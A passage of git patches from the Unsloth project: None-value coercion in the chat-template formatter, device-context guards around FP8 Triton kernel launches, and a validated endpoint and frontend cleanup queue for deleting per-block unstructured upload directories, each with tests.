+    out = _render(merged_prompt, ["name"], {"name": [None, "Bob"]})
+    assert out == ["Name: !", "Name: Bob!"]
+
+
+def test_required_column_none_does_not_render_none():
+    # A required (non-[[...]]) column that is None must not render as the
+    # literal "None" either; coercion happens at the row source, so both the
+    # required and optional branches are covered.
+    merged_prompt = "Location: {city}, {country} end"
+    out = _render(
+        merged_prompt,
+        ["city", "country"],
+        {"city": ["Paris"], "country": [None]},
+    )
+    assert out[0] == "Location: Paris,  end"
+    assert "None" not in out[0]
+
+
+def test_optional_block_falsy_but_present_gating_value_still_renders():
+    # The gate keeps a block whenever the first column is not "". A falsy but
+    # real value (0) must not be treated as absent, so the block still renders.
+    merged_prompt = "Count: [[{n}]]!"
+    out = _render(merged_prompt, ["n"], {"n": [0]})
+    assert out[0] == "Count: 0!"
diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index 169b2dbd0e..dd1e433471 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -2185,7 +2185,16 @@ def _create_formatter(possible_columns, final_optional_prompts, user_column_name
 
         texts = []
         for row_idx in range(n_rows):
-            row_values = {column: examples[column][row_idx] for column in columns}
+            # Coerce missing (None) columns to "" so they do not render as the
+            # literal string "None" in the emitted text. In a [[...]] block only
+            # the first column gates the block, so a later column can still be
+            # None here; required columns can be None too. Coercing at the source
+            # covers both; since None is now "", the gate below only needs to
+            # test for "" (an empty first column still drops the block).
+            row_values = {
+                column: ("" if (value := examples[column][row_idx]) is None else value)
+                for column in columns
+            }
             formatter_values = {}
 
             for formatter_template in formatter_templates:
@@ -2196,7 +2205,7 @@ def _create_formatter(possible_columns, final_optional_prompts, user_column_name
                     continue
 
                 _, optional_name, prompt, needed_columns = formatter_template
-                if row_values[needed_columns[0]] not in (None, ""):
+                if row_values[needed_columns[0]] != "":
                     prompt_values = {column: row_values[column] for column in needed_columns}
                     formatter_values[optional_name] = prompt.format(**prompt_values)
                 else:

From 81f789ba85bb45c30fe7a8e60126112e07e3ddac Mon Sep 17 00:00:00 2001
From: ramisworld <ramialobaidy@outlook.com>
Date: Thu, 9 Jul 2026 09:32:51 +1200
Subject: [PATCH 275/306] Guard FP8 Triton launches with tensor device context
 (#6888)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 tests/test_fp8_device_context.py | 249 +++++++++++++++++++++++++++++++
 unsloth/kernels/fp8.py           |  87 ++++++-----
 2 files changed, 300 insertions(+), 36 deletions(-)
 create mode 100644 tests/test_fp8_device_context.py

diff --git a/tests/test_fp8_device_context.py b/tests/test_fp8_device_context.py
new file mode 100644
index 0000000000..2eea35f4e6
--- /dev/null
+++ b/tests/test_fp8_device_context.py
@@ -0,0 +1,249 @@
+from __future__ import annotations
+
+import ast
+from contextlib import nullcontext
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+FP8_SOURCE = REPO_ROOT / "unsloth" / "kernels" / "fp8.py"
+
+
+class _FakeDeviceModule:
+    def __init__(self, device_count: int) -> None:
+        self._device_count = device_count
+        self.device_calls = []
+
+    def device_count(self) -> int:
+        return self._device_count
+
+    def device(self, device):
+        self.device_calls.append(device)
+        return ("device-context", device)
+
+
+class _FakeTorch:
+    Tensor = object
+
+    def __init__(
+        self,
+        cuda_device_count: int,
+        xpu_device_count: int = 0,
+    ) -> None:
+        self.cuda = _FakeDeviceModule(cuda_device_count)
+        self.xpu = _FakeDeviceModule(xpu_device_count)
+
+
+class _LaunchVisitor(ast.NodeVisitor):
+    def __init__(self) -> None:
+        self.guarded_launches: set[str] = set()
+        self.unguarded_launches: set[str] = set()
+        self._inside_fp8_device_context = 0
+
+    def visit_With(self, node: ast.With) -> None:
+        enters_context = any(
+            isinstance(item.context_expr, ast.Call)
+            and isinstance(item.context_expr.func, ast.Name)
+            and item.context_expr.func.id == "_fp8_triton_device_context"
+            for item in node.items
+        )
+        if enters_context:
+            self._inside_fp8_device_context += 1
+        for statement in node.body:
+            self.visit(statement)
+        if enters_context:
+            self._inside_fp8_device_context -= 1
+
+    def visit_Call(self, node: ast.Call) -> None:
+        launch_name = self._triton_launch_name(node)
+        if launch_name is not None:
+            if self._inside_fp8_device_context:
+                self.guarded_launches.add(launch_name)
+            else:
+                self.unguarded_launches.add(launch_name)
+        self.generic_visit(node)
+
+    @staticmethod
+    def _triton_launch_name(node: ast.Call) -> str | None:
+        if isinstance(node.func, ast.Name) and node.func.id == "triton_quantize_fp8_block":
+            return node.func.id
+        if not isinstance(node.func, ast.Subscript):
+            return None
+        if not isinstance(node.func.value, ast.Name):
+            return None
+        return node.func.value.id
+
+
+def _load_device_context_helper(fake_torch: _FakeTorch):
+    source = FP8_SOURCE.read_text()
+    tree = ast.parse(source)
+    for node in tree.body:
+        if isinstance(node, ast.FunctionDef) and node.name == "_fp8_triton_device_context":
+            namespace = {"torch": fake_torch, "nullcontext": nullcontext}
+            exec(ast.get_source_segment(source, node), namespace)
+            return namespace["_fp8_triton_device_context"]
+    raise AssertionError("_fp8_triton_device_context was not found")
+
+
+def test_fp8_device_context_selects_cuda_tensor_device_on_multi_gpu() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 2)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "cuda"))
+
+    context = helper(tensor)
+
+    assert context == ("device-context", tensor.device)
+    assert fake_torch.cuda.device_calls == [tensor.device]
+
+
+def test_fp8_device_context_is_noop_for_single_cuda_device() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 1)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "cuda"))
+
+    context = helper(tensor)
+
+    assert isinstance(context, nullcontext)
+    assert fake_torch.cuda.device_calls == []
+
+
+def test_fp8_device_context_selects_xpu_tensor_device_on_multi_gpu() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 0, xpu_device_count = 2)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "xpu"))
+
+    context = helper(tensor)
+
+    assert context == ("device-context", tensor.device)
+    assert fake_torch.xpu.device_calls == [tensor.device]
+
+
+def test_fp8_device_context_is_noop_for_single_xpu_device() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 0, xpu_device_count = 1)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "xpu"))
+
+    context = helper(tensor)
+
+    assert isinstance(context, nullcontext)
+    assert fake_torch.xpu.device_calls == []
+
+
+def test_fp8_device_context_is_noop_for_non_cuda_tensor() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 8)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "cpu"))
+
+    context = helper(tensor)
+
+    assert isinstance(context, nullcontext)
+    assert fake_torch.cuda.device_calls == []
+
+
+def test_fp8_triton_launches_enter_tensor_device_context() -> None:
+    tree = ast.parse(FP8_SOURCE.read_text())
+    function_names = {node.name for node in ast.walk(tree) if isinstance(node, ast.FunctionDef)}
+    assert "_fp8_triton_device_context" in function_names
+
+    visitor = _LaunchVisitor()
+    visitor.visit(tree)
+
+    expected_launches = {
+        "weight_dequant_kernel",
+        "act_quant_kernel",
+        "_w8a8_block_fp8_matmul",
+        "triton_quantize_fp8_block",
+    }
+    assert expected_launches <= visitor.guarded_launches
+    assert not (expected_launches & visitor.unguarded_launches)
+
+
+def _require_two_cuda_devices():
+    torch = pytest.importorskip("torch")
+    pytest.importorskip("triton")
+
+    if not torch.cuda.is_available() or torch.cuda.device_count() < 2:
+        pytest.skip("requires at least two CUDA devices")
+    return torch
+
+
+def test_weight_dequant_block_runs_on_tensor_device_when_current_device_differs() -> None:
+    torch = _require_two_cuda_devices()
+    from unsloth.kernels.fp8 import weight_dequant_block
+
+    previous_device = torch.cuda.current_device()
+    try:
+        torch.cuda.set_device(0)
+        x = torch.arange(256 * 256, device = "cuda:1", dtype = torch.float32).reshape(256, 256)
+        scales = torch.tensor([[1.0, 2.0], [3.0, 4.0]], device = "cuda:1", dtype = torch.float32)
+
+        actual = weight_dequant_block(x, scales, block_size = 128, dtype = torch.float32)
+
+        expanded_scales = scales.repeat_interleave(128, dim = 0).repeat_interleave(128, dim = 1)
+        expected = x * expanded_scales
+
+        assert actual.device == x.device
+        assert torch.cuda.current_device() == 0
+        torch.testing.assert_close(actual, expected)
+    finally:
+        torch.cuda.set_device(previous_device)
+
+
+def test_act_quant_runs_on_tensor_device_when_current_device_differs() -> None:
+    torch = _require_two_cuda_devices()
+    if not hasattr(torch, "float8_e4m3fn"):
+        pytest.skip("requires torch.float8_e4m3fn")
+    if torch.cuda.get_device_capability(1)[0] < 9:
+        pytest.skip("requires FP8-capable CUDA hardware")
+
+    from unsloth.kernels.fp8 import act_quant
+
+    previous_device = torch.cuda.current_device()
+    try:
+        torch.cuda.set_device(0)
+        x = torch.arange(256, device = "cuda:1", dtype = torch.float32).reshape(2, 128)
+
+        y, scales = act_quant(x, block_size = 128)
+
+        assert y.device == x.device
+        assert scales.device == x.device
+        assert torch.cuda.current_device() == 0
+    finally:
+        torch.cuda.set_device(previous_device)
+
+
+def test_w8a8_block_fp8_matmul_triton_runs_on_tensor_device_when_current_device_differs() -> None:
+    torch = _require_two_cuda_devices()
+    if not hasattr(torch, "float8_e4m3fn"):
+        pytest.skip("requires torch.float8_e4m3fn")
+    if torch.cuda.get_device_capability(1)[0] < 9:
+        pytest.skip("requires FP8-capable CUDA hardware")
+
+    from unsloth.kernels.fp8 import w8a8_block_fp8_matmul_triton
+
+    previous_device = torch.cuda.current_device()
+    try:
+        torch.cuda.set_device(0)
+        A = torch.ones((128, 128), device = "cuda:1", dtype = torch.float32).to(torch.float8_e4m3fn)
+        B = torch.ones((128, 128), device = "cuda:1", dtype = torch.float32).to(torch.float8_e4m3fn)
+        As = torch.ones((128, 1), device = "cuda:1", dtype = torch.float32)
+        Bs = torch.ones((1, 1), device = "cuda:1", dtype = torch.float32)
+
+        actual = w8a8_block_fp8_matmul_triton(
+            A,
+            B,
+            As,
+            Bs,
+            block_size = [128, 128],
+            output_dtype = torch.float32,
+        )
+
+        expected = torch.full((128, 128), 128.0, device = "cuda:1", dtype = torch.float32)
+        assert actual.device == A.device
+        assert torch.cuda.current_device() == 0
+        torch.testing.assert_close(actual, expected)
+    finally:
+        torch.cuda.set_device(previous_device)
diff --git a/unsloth/kernels/fp8.py b/unsloth/kernels/fp8.py
index 935ffbb447..4efc4bd5d3 100644
--- a/unsloth/kernels/fp8.py
+++ b/unsloth/kernels/fp8.py
@@ -12,6 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 import os
+from contextlib import nullcontext
 import torch
 import torch.nn as nn
 import triton
@@ -24,6 +25,15 @@ from unsloth_zoo.temporary_patches.common import torch_compile
 
 torch_matmul = torch.matmul
 
+
+def _fp8_triton_device_context(tensor: torch.Tensor):
+    if tensor.device.type == "cuda" and torch.cuda.device_count() > 1:
+        return torch.cuda.device(tensor.device)
+    if tensor.device.type == "xpu" and hasattr(torch, "xpu") and torch.xpu.device_count() > 1:
+        return torch.xpu.device(tensor.device)
+    return nullcontext()
+
+
 try:
     from transformers.integrations.finegrained_fp8 import FP8Linear
 except:
@@ -95,7 +105,8 @@ def weight_dequant_block(
         triton.cdiv(M, meta["BLOCK_SIZE"]),
         triton.cdiv(N, meta["BLOCK_SIZE"]),
     )
-    weight_dequant_kernel[grid](x, s, y, M, N, BLOCK_SIZE = block_size)
+    with _fp8_triton_device_context(x):
+        weight_dequant_kernel[grid](x, s, y, M, N, BLOCK_SIZE = block_size)
     return y
 
 
@@ -149,7 +160,8 @@ def act_quant(x: torch.Tensor, block_size: int = 128) -> tuple[torch.Tensor, tor
     def grid(meta):
         return (triton.cdiv(x.numel(), meta["BLOCK_SIZE"]),)
 
-    act_quant_kernel[grid](x, y, s, BLOCK_SIZE = block_size)
+    with _fp8_triton_device_context(x):
+        act_quant_kernel[grid](x, y, s, BLOCK_SIZE = block_size)
     return y, s
 
 
@@ -274,32 +286,33 @@ def w8a8_block_fp8_matmul_triton(
     def grid(META):
         return (triton.cdiv(M, META["BLOCK_SIZE_M"]) * triton.cdiv(N, META["BLOCK_SIZE_N"]),)
 
-    _w8a8_block_fp8_matmul[grid](
-        A,
-        B,
-        C,
-        As,
-        Bs,
-        M,
-        N,
-        K,
-        block_n,
-        block_k,
-        A.stride(-2),
-        A.stride(-1),
-        B.stride(1),
-        B.stride(0),
-        C.stride(-2),
-        C.stride(-1),
-        As.stride(-2),
-        As.stride(-1),
-        Bs.stride(1),
-        Bs.stride(0),
-        BLOCK_SIZE_M = BLOCK_SIZE_M,
-        BLOCK_SIZE_N = BLOCK_SIZE_N,
-        BLOCK_SIZE_K = BLOCK_SIZE_K,
-        GROUP_SIZE_M = 8,
-    )
+    with _fp8_triton_device_context(A):
+        _w8a8_block_fp8_matmul[grid](
+            A,
+            B,
+            C,
+            As,
+            Bs,
+            M,
+            N,
+            K,
+            block_n,
+            block_k,
+            A.stride(-2),
+            A.stride(-1),
+            B.stride(1),
+            B.stride(0),
+            C.stride(-2),
+            C.stride(-1),
+            As.stride(-2),
+            As.stride(-1),
+            Bs.stride(1),
+            Bs.stride(0),
+            BLOCK_SIZE_M = BLOCK_SIZE_M,
+            BLOCK_SIZE_N = BLOCK_SIZE_N,
+            BLOCK_SIZE_K = BLOCK_SIZE_K,
+            GROUP_SIZE_M = 8,
+        )
     return C
 
 
@@ -311,13 +324,14 @@ def torchao_block_matmul(
     block_size: tuple[int, int],
     output_dtype: torch.dtype = torch.bfloat16,
 ):
-    out = torchao_blockwise_gemm(
-        act_q.contiguous(),
-        act_scale.contiguous(),
-        weight_q.contiguous(),
-        weight_scale.contiguous(),
-        block_size = block_size[1],
-    )
+    with _fp8_triton_device_context(act_q):
+        out = torchao_blockwise_gemm(
+            act_q.contiguous(),
+            act_scale.contiguous(),
+            weight_q.contiguous(),
+            weight_scale.contiguous(),
+            block_size = block_size[1],
+        )
     return out.to(output_dtype)
 
 
@@ -540,7 +554,8 @@ class FP8_fbgemm_block_linear(torch.autograd.Function):
                     f"Weight shape {weight.shape} and scales shape {weight_scale.shape} is not compatible with block size {bs_n, bs_k}"
                 )
 
-        xq, xs = triton_quantize_fp8_block(X, bs_m, bs_n, None)
+        with _fp8_triton_device_context(X):
+            xq, xs = triton_quantize_fp8_block(X, bs_m, bs_n, None)
         # TODO: WARNING - diverges from baseline for high X values, producing
         # gibberish / high starting loss. Do not use until resolved; kept for a
         # future headstart.

From 3b73cd88293728b3ba173e235d405cec40f7a42b Mon Sep 17 00:00:00 2001
From: Nilay <118994073+NilayYadav@users.noreply.github.com>
Date: Thu, 9 Jul 2026 08:33:03 +0530
Subject: [PATCH 276/306] Fix per-block ID collisions and add block cleanup for
 unstructured uploads (#6944)

* unstructured block removal

* Enhance unstructured block handling

* Restrict block cleanup to upload UIDs

* cleanup for seed block uploads

* upload cleanup queue for unstructured blocks in recipe studio

* Fix unstructured upload cleanup edge cases

* Fix unstructured upload import ownership

* Fix-unstructured-import-path-ownership

* Guard failed-delete restore against stale block in unstructured drop zone

* Drain queued upload cleanups when autosave is skipped

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 studio/backend/routes/data_recipe/seed.py     |  37 ++++++
 studio/backend/tests/test_data_recipe_seed.py |  97 +++++++++++++++
 .../src/features/recipe-studio/api/index.ts   |  10 ++
 .../dialogs/seed/seed-dialog.tsx              |  69 ++++++++++-
 .../dialogs/seed/unstructured-drop-zone.tsx   |  37 ++++--
 .../hooks/use-recipe-persistence.ts           |  86 ++++++++++++--
 .../recipe-studio/stores/recipe-studio.ts     |  61 +++++++++-
 .../src/features/recipe-studio/types/index.ts |   2 +
 .../recipe-studio/utils/config-factories.ts   |  43 +++++++
 .../recipe-studio/utils/import/importer.ts    | 112 +++++++++++-------
 .../import/parsers/seed-config-parser.ts      |  14 ++-
 .../utils/payload/build-payload.ts            |   3 +
 .../recipe-studio/utils/payload/types.ts      |   2 +
 13 files changed, 502 insertions(+), 71 deletions(-)

diff --git a/studio/backend/routes/data_recipe/seed.py b/studio/backend/routes/data_recipe/seed.py
index 57a291291e..a5b75b7335 100644
--- a/studio/backend/routes/data_recipe/seed.py
+++ b/studio/backend/routes/data_recipe/seed.py
@@ -10,6 +10,7 @@ import binascii
 import json
 import os
 import re
+import shutil
 from itertools import islice
 from pathlib import Path
 from typing import Any
@@ -59,6 +60,9 @@ UNSTRUCTURED_ALLOWED_EXTS = {".pdf", ".docx", ".txt", ".md"}
 SEED_UPLOAD_DIR = seed_uploads_root()
 UNSTRUCTURED_UPLOAD_ROOT = unstructured_uploads_root()
 _SAFE_ID_RE = re.compile(r"^[a-zA-Z0-9_-]+$")
+# Frontend-generated upload namespace (UUID4 hex). Legacy node ids (n1, ...)
+# never match: those directories can be shared by several recipes.
+_UPLOAD_UID_RE = re.compile(r"^[0-9a-f]{32}$")
 
 
 def _validate_safe_id(value: str, label: str) -> str:
@@ -580,6 +584,39 @@ async def remove_unstructured_file(block_id: str, file_id: str):
     return {"status": "ok"}
 
 
+@router.delete("/seed/unstructured-block/{block_id}")
+async def remove_unstructured_block(block_id: str):
+    """Delete a block's upload directory; files on disk still count toward its quota.
+
+    Only uid-namespaced directories may be bulk-deleted: they have exactly one
+    owning block. Legacy node-id directories (n1, ...) can be shared by other
+    recipes, so they are managed file-by-file instead.
+    """
+    _validate_safe_id(block_id, "block_id")
+    if not _UPLOAD_UID_RE.match(block_id):
+        raise HTTPException(400, "Invalid block_id: only uid-namespaced blocks can be deleted")
+
+    block_dir = (UNSTRUCTURED_UPLOAD_ROOT / block_id).resolve()
+    if not block_dir.is_relative_to(UNSTRUCTURED_UPLOAD_ROOT.resolve()):
+        raise HTTPException(400, "Invalid block_id: outside upload root")
+    if not block_dir.exists():
+        return {"status": "ok", "deleted": False}
+
+    try:
+        shutil.rmtree(block_dir)
+    except OSError as exc:
+        raise log_and_http_error(
+            exc,
+            500,
+            "failed to delete uploaded files",
+            event = "data_recipe.seed.unstructured_block_delete_failed",
+            log = logger,
+        ) from exc
+    if block_dir.exists():
+        raise HTTPException(500, "failed to delete uploaded files")
+    return {"status": "ok", "deleted": True}
+
+
 @router.post("/seed/inspect-upload", response_model = SeedInspectResponse)
 def inspect_seed_upload(payload: SeedInspectUploadRequest) -> SeedInspectResponse:
     if payload.file_ids is not None:
diff --git a/studio/backend/tests/test_data_recipe_seed.py b/studio/backend/tests/test_data_recipe_seed.py
index 09e22116ed..58bbd24061 100644
--- a/studio/backend/tests/test_data_recipe_seed.py
+++ b/studio/backend/tests/test_data_recipe_seed.py
@@ -124,3 +124,100 @@ def test_unstructured_upload_import_errors_stay_generic(monkeypatch, tmp_path, e
     assert result.status == "error"
     assert result.error == "Text extraction failed."
     assert _block_files(seed_route) == []
+
+
+_TEST_UPLOAD_UID = "0f" * 16
+
+
+def test_remove_unstructured_block_deletes_directory(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    _run_upload(seed_route, "notes.txt", b"hello", block_id = _TEST_UPLOAD_UID)
+    assert _block_files(seed_route, _TEST_UPLOAD_UID) != []
+
+    result = asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert result == {"status": "ok", "deleted": True}
+    assert not (seed_route.UNSTRUCTURED_UPLOAD_ROOT / _TEST_UPLOAD_UID).exists()
+
+
+def test_remove_unstructured_block_missing_directory_is_ok(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+
+    result = asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert result == {"status": "ok", "deleted": False}
+
+
+def test_remove_unstructured_block_rejects_unsafe_ids(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block("../escape"))
+
+    assert exc.value.status_code == 400
+
+
+def test_remove_unstructured_block_rejects_legacy_node_ids(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    _run_upload(seed_route, "notes.txt", b"hello", block_id = "n1")
+    assert _block_files(seed_route, "n1") != []
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block("n1"))
+
+    assert exc.value.status_code == 400
+    assert _block_files(seed_route, "n1") != []
+
+
+def test_remove_unstructured_block_rejects_symlink_escape(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    outside = tmp_path / "outside"
+    outside.mkdir()
+    (outside / "victim.txt").write_text("keep me")
+    root = seed_route.UNSTRUCTURED_UPLOAD_ROOT
+    root.mkdir(parents = True)
+    (root / _TEST_UPLOAD_UID).symlink_to(outside)
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert exc.value.status_code == 400
+    assert (outside / "victim.txt").exists()
+
+
+def test_remove_unstructured_block_fails_if_directory_remains(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    root = seed_route.UNSTRUCTURED_UPLOAD_ROOT
+    block_dir = root / _TEST_UPLOAD_UID
+    block_dir.mkdir(parents = True)
+    (block_dir / "victim.txt").write_text("keep me")
+
+    calls = []
+
+    def noop_rmtree(path, *args, **kwargs):
+        calls.append((path, args, kwargs))
+
+    monkeypatch.setattr(seed_route.shutil, "rmtree", noop_rmtree)
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert calls
+    assert exc.value.status_code == 500
+    assert block_dir.exists()
+
+
+def test_total_upload_quota_is_scoped_per_block(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    monkeypatch.setattr(seed_route, "UNSTRUCTURED_RECIPE_UPLOAD_TOTAL_MAX_BYTES", 10)
+
+    first = _run_upload(seed_route, "a.txt", b"123456789")
+    assert first.status == "ok"
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        _run_upload(seed_route, "b.txt", b"123")
+    assert exc.value.status_code == 413
+
+    # Another block starts with its own untouched budget.
+    other = _run_upload(seed_route, "c.txt", b"123", block_id = "other")
+    assert other.status == "ok"
diff --git a/studio/frontend/src/features/recipe-studio/api/index.ts b/studio/frontend/src/features/recipe-studio/api/index.ts
index 4fe24b1f6d..f4e8167cb3 100644
--- a/studio/frontend/src/features/recipe-studio/api/index.ts
+++ b/studio/frontend/src/features/recipe-studio/api/index.ts
@@ -494,3 +494,13 @@ export async function removeUnstructuredFile(
     throw new Error("Failed to remove file");
   }
 }
+
+export async function removeUnstructuredBlock(blockId: string): Promise<void> {
+  const res = await authFetch(
+    `${DATA_DESIGNER_API_BASE}/seed/unstructured-block/${encodeURIComponent(blockId)}`,
+    { method: "DELETE" },
+  );
+  if (!res.ok && res.status !== 404) {
+    throw new Error("Failed to remove uploaded files");
+  }
+}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx b/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx
index 0ed7eeed75..53f8566090 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/seed/seed-dialog.tsx
@@ -53,6 +53,11 @@ import {
   inspectSeedDataset,
   inspectSeedUpload,
 } from "../../api";
+import { useRecipeStudioStore } from "../../stores/recipe-studio";
+import {
+  makeUnstructuredUploadUid,
+  resolveUnstructuredUploadBlockId,
+} from "../../utils/config-factories";
 import { resolveImagePreview } from "../../utils/image-preview";
 import type {
   GithubItemType,
@@ -597,6 +602,41 @@ export function SeedDialog({
   const mode = config.seed_source_type ?? "hf";
   const previewEmpty = getPreviewEmptyStateCopy(mode);
 
+  const queueUploadCleanup = useRecipeStudioStore(
+    (state) => state.queueUploadCleanup,
+  );
+
+  // config.id collides across recipes (ids reset to n1 on import); use a
+  // stable per-block uid instead. Generate one synchronously so the first
+  // rendered drop zone cannot upload under a legacy node id.
+  const uploadUid = config.unstructured_upload_uid?.trim() ?? "";
+  const unstructuredFileCount = config.unstructured_file_ids?.length ?? 0;
+  const generatedUploadUidRef = useRef<string | null>(null);
+  if (
+    mode === "unstructured" &&
+    !uploadUid &&
+    unstructuredFileCount === 0 &&
+    generatedUploadUidRef.current === null
+  ) {
+    generatedUploadUidRef.current = makeUnstructuredUploadUid();
+  }
+  const uploadBlockId = resolveUnstructuredUploadBlockId({
+    configId: config.id,
+    uploadUid,
+    generatedUploadUid: generatedUploadUidRef.current,
+    unstructuredFileCount,
+  });
+
+  useEffect(() => {
+    if (mode !== "unstructured") return;
+    if (uploadUid) return;
+    if (unstructuredFileCount > 0) return;
+    const nextUid =
+      generatedUploadUidRef.current ?? makeUnstructuredUploadUid();
+    generatedUploadUidRef.current = nextUid;
+    onUpdate({ unstructured_upload_uid: nextUid });
+  }, [mode, uploadUid, unstructuredFileCount, onUpdate]);
+
   const prevModeRef = useRef(mode);
   useEffect(() => {
     const prevMode = prevModeRef.current;
@@ -720,6 +760,11 @@ export function SeedDialog({
             subset: config.hf_subset?.trim() || undefined,
             preview_size: 10,
           });
+          // Queue the block's upload directory for deletion after the next
+          // save; only uid-namespaced directories qualify (single owner).
+          if (uploadUid && unstructuredFileCount > 0) {
+            queueUploadCleanup(uploadUid);
+          }
           onUpdate({
             hf_path: response.resolved_path,
             seed_columns: response.columns,
@@ -730,6 +775,7 @@ export function SeedDialog({
             hf_split: response.split ?? "",
             hf_subset: response.subset ?? "",
             local_file_name: "",
+            unstructured_upload_uid: "",
             unstructured_file_ids: [],
             unstructured_file_names: [],
             unstructured_file_sizes: [],
@@ -754,6 +800,11 @@ export function SeedDialog({
             content_base64: payload,
             preview_size: 10,
           });
+          // Queue the block's upload directory for deletion after the next
+          // save; only uid-namespaced directories qualify (single owner).
+          if (uploadUid && unstructuredFileCount > 0) {
+            queueUploadCleanup(uploadUid);
+          }
           onUpdate({
             hf_path: response.resolved_path,
             seed_columns: response.columns,
@@ -765,6 +816,7 @@ export function SeedDialog({
             hf_subset: "",
             hf_split: "",
             local_file_name: localFile.name,
+            unstructured_upload_uid: "",
             unstructured_file_ids: [],
             unstructured_file_names: [],
             unstructured_file_sizes: [],
@@ -789,7 +841,7 @@ export function SeedDialog({
 
           const { chunkSize, chunkOverlap } = resolveChunking(config);
           const response = await inspectSeedUpload({
-            block_id: config.id,
+            block_id: uploadBlockId,
             file_ids: fileIds,
             file_names: fileNames,
             preview_size: 10,
@@ -827,7 +879,18 @@ export function SeedDialog({
         setIsInspecting(false);
       }
     },
-    [config, getCurrentLoadKey, localFile, mode, onUpdate, unstructuredFiles],
+    [
+      config,
+      getCurrentLoadKey,
+      localFile,
+      mode,
+      onUpdate,
+      queueUploadCleanup,
+      unstructuredFiles,
+      unstructuredFileCount,
+      uploadBlockId,
+      uploadUid,
+    ],
   );
 
   useEffect(() => {
@@ -997,7 +1060,7 @@ export function SeedDialog({
 
           {mode === "unstructured" && (
             <UnstructuredDropZone
-              blockId={config.id}
+              blockId={uploadBlockId}
               files={unstructuredFiles}
               onFilesChange={handleUnstructuredFilesChange}
               disabled={isInspecting}
diff --git a/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx b/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
index 4e9347e02e..bbdf27110f 100644
--- a/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
+++ b/studio/frontend/src/features/recipe-studio/dialogs/seed/unstructured-drop-zone.tsx
@@ -54,11 +54,17 @@ export function UnstructuredDropZone({
 }: UnstructuredDropZoneProps) {
   const inputRef = useRef<HTMLInputElement>(null);
   const filesRef = useRef(files);
+  const blockIdRef = useRef(blockId);
+  const mountedRef = useRef(true);
   const [isDragOver, setIsDragOver] = useState(false);
 
   useEffect(() => {
     filesRef.current = files;
-  }, [files]);
+    blockIdRef.current = blockId;
+  }, [files, blockId]);
+  useEffect(() => () => {
+    mountedRef.current = false;
+  }, []);
 
   const totalSize = files.reduce((sum, f) => sum + f.size, 0);
 
@@ -134,15 +140,32 @@ export function UnstructuredDropZone({
       if (entry.status === "uploading" && entry.abortController) {
         entry.abortController.abort();
       }
-      if (
+      const needsServerRemove =
         entry.id &&
         entry.status === "ok" &&
-        !deletedIdsRef.current.has(entry.id)
-      ) {
-        deletedIdsRef.current.add(entry.id);
-        void removeUnstructuredFile(blockId, entry.id).catch(() => {});
-      }
+        !deletedIdsRef.current.has(entry.id);
       onFilesChange((prev) => prev.filter((_, i) => i !== index));
+      if (!needsServerRemove) return;
+      deletedIdsRef.current.add(entry.id);
+      removeUnstructuredFile(blockId, entry.id).catch(() => {
+        // Skip if the drop zone unmounted or its block changed: the id no
+        // longer belongs here and restoring would leak it into another block.
+        if (!mountedRef.current || blockIdRef.current !== blockId) return;
+        // Still exists server-side (counts toward quota); restore it at its
+        // original position.
+        deletedIdsRef.current.delete(entry.id);
+        onFilesChange((prev) => {
+          const next = [...prev];
+          next.splice(Math.min(index, next.length), 0, {
+            id: entry.id,
+            name: entry.name,
+            size: entry.size,
+            status: "ok",
+            error: "Remove failed — try again",
+          });
+          return next;
+        });
+      });
     },
     [blockId, onFilesChange],
   );
